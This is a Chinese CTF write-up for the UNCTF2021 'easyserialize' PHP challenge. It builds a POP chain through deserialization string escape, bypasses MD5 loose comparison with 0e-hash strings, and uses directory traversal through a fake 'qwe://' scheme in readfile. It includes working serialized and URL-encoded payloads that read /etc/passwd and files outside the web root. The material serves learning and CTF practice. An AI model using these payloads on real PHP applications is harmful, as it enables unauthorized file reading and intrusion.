UNCTF2021-easyserialize



前言

算是第一次独立做出来的一道web题,想了我两天。。。

本题利用到的知识点:

1.PHP反序列化字符逃逸

UNCTF2020的一道easyunserialize,类似

2.目录穿越

UNCTF2020的一道easy_ssrf,类似

3.pop链

BUUCTF的ezpop,类似




一、源码

UNCTF2021-easyserialize

UNCTF2021-easyserialize



二、POP链构造



1.function.php

先看哪里可以利用到flag

可以看到me7eorite这个类里有readfile函数,可以用来读flag

但是有个问题,序列化的代码在index.php中被固定死了,只能按照它的格式来

$u = new UNCTF($pass,$email,$name);
$s = serialize($u);

我们这里就需要用到反序列化字符逃逸,正好他有个过滤我们可以用

继续看,我们从这里开始倒推:

class me7eorite{
    //test  
    public $safe;
    public $class;
    public function __construct()
    {
        $this->safe = "/etc/passwd";
        $this->class=new UNCTF('me7eorite','me7eorite@qq.com','me7eorite');           
    }
    public function __toString() //当类被当做字符串使用时,会被调用
    {
        $this->class->getShell();//class被定义为了UNCTF,所以这里需要改
        return '';
    }
    public function getShell(){
        readfile($this->safe);
    }
} 

那么哪里的代码可以做到把类当做字符串使用呢?(类似于echo)

class UNCTF{
    public $pass;
    public $email;
    public $name;
    public function __construct($pass,$email,$name)
    {
        $this->pass  = $pass;
        $this->name = $name;//name必须得是me7eorite这个类,才会触发里面的_tostring,需要改
        $this->email = $email;
    }
    public function getShell(){
        echo 'flag{this_is_fake}';
    }
    public function __destruct()
    {
        echo $this->name . 'Welcome to UNCTF 2021!';//在这里!!
    }
} Welcome to UNCTF 2021!

 本地尝试构造一下:

<?php 
class me7eorite{
    //test  
    public $safe;
    public $class;
    public function __construct()
    {
        $this->safe = "flag.php";
        $this->class='1';//new me7eorite();  我们要把class构造成这样,但是不能直接赋值,我也不知道为什么。。         
    }
   
}

class UNCTF{
    public $pass;
    public $email;
    public $name;
    public function __construct($pass,$email,$name)
    {
        $this->pass  = $pass;
        $this->name = $name;
        $this->email = $email;
    }
   
} 
function filter($file){
    $filter_arr = array('flag','php','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$file);
} 
$a=new me7eorite();
$a->class=new me7eorite();//从这里可以修改为类
$c=new UNCTF('1','2',$a);//把name赋值为me7eorite这个类
$b=serialize($c);
echo $b."\n";	 

?> 

输出后是这样:

O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"2";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";s:1:"1";}}}

以上就是我们需要构造成的序列化字符串,也就是说,我们需要将name构造成这样

s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";s:1:"1";}}}

 为了不破坏前面的eamil属性的结构,我们要加上;

;s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";s:1:"1";}}}

这串东西先留着,而name直接传入是不可能的,直接传入是这个样子:

O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"2";s:4:"name";s:1:"3";
//可以看到name后面的 s:1:"3" ,是我们不需要的
//那么为了构造出我们需要的属性,我们需要的属性可以从name传入,然后通过email和filter函数配合,
//将";s:4:"name";s:1:"  这些当做email的值,从而能解析我们name中构造的属性
//";s:4:"name";s:1:"  一共18个字符,那么email传入6个php就好了
//但是,由于name中的参数也是有大小的,大概会有几百个字符,就变成了大概这样
//";s:4:"name";s:144:" 这里就变成了19个字符,然后就需要4个flag和1个php

然后这里就用到了反序列化字符逃逸,由于过滤是将字符变少,我们就要用到两个参数 ,本地构造试验一下:

$z='flagflagflagflagphp';
$x=';s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";s:1:"1";}}}';
echo urlencode($x)."\n";
$a=new UNCTF('1',$z,$x);
$b=serialize($a);
echo $b."\n";	
$d=filter($b);
echo $d;

构造出来,就完成了第一步:

//过滤前
O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:19:"flagflagflagflagphp";s:4:"name";s:145:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";s:1:"1";}}}";}
//过滤后
O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:19:"";s:4:"name";s:145:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";s:1:"1";}}}";} 

2.index.php

我们需要进入filter函数,就要绕过md5弱比较判断,并且两个字符串还不能相等

s878926199a =》 0e545993274517709034328855841020
s155964671a =》 0e342768416822451524974117254469
s214587387a =》 0e848240448830537924465865611904

前面的就是我们传入的字符串,后面是md5值,在弱比较中,0e会被当做科学计数法

找到形似这样的就能绕过

然后是preg_replace过滤绕过,双写就行了,比如flflagag

这样要的参数就都得到了,最后将name参数url编码一下传入就行了


 UNCTF2021-easyserialize

提示:将/etc/passwd 改为flag的时候,由于过滤,所以我们要把序列化的参数大小改为过滤后的大小

 3.目录穿越

当我兴高采烈输入flag.php的时候,怎么都打不开,fl1g.php也不行,说明当前目录就没有flag

最后想到了目录穿越,readfile和file_get_contents一样,是可以读url的

当我们输入错误的协议名时,比如qwe:// ,就会把它当做盘符,进而造成目录穿越

构造name,并url编码:

O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:19:"flagflagflagflagphp";s:4:"name";s:187:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:28:"qwe://../../../../../../flflagag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:28:"qwe://../../../../../../flflagag";s:5:"class";s:1:"1";}}}";}
%3Bs%3A4%3A%22name%22%3BO%3A9%3A%22me7eorite%22%3A2%3A%7Bs%3A4%3A%22safe%22%3Bs%3A28%3A%22qwe%3A%2F%2F..%2F..%2F..%2F..%2F..%2F..%2Fflflagag%22%3Bs%3A5%3A%22class%22%3BO%3A9%3A%22me7eorite%22%3A2%3A%7Bs%3A4%3A%22safe%22%3Bs%3A28%3A%22qwe%3A%2F%2F..%2F..%2F..%2F..%2F..%2F..%2Fflflagag%22%3Bs%3A5%3A%22class%22%3Bs%3A1%3A%221%22%3B%7D%7D%7D

就得到了flag



总结

初学web两个月,这也是自己独立做出来的第一道题目,特意总结记录一下

欢迎大佬们的批评指点qwq

上一篇:Android工程一些编译报错的解决方案


下一篇:ES6学习笔记(四)-- 数值的扩展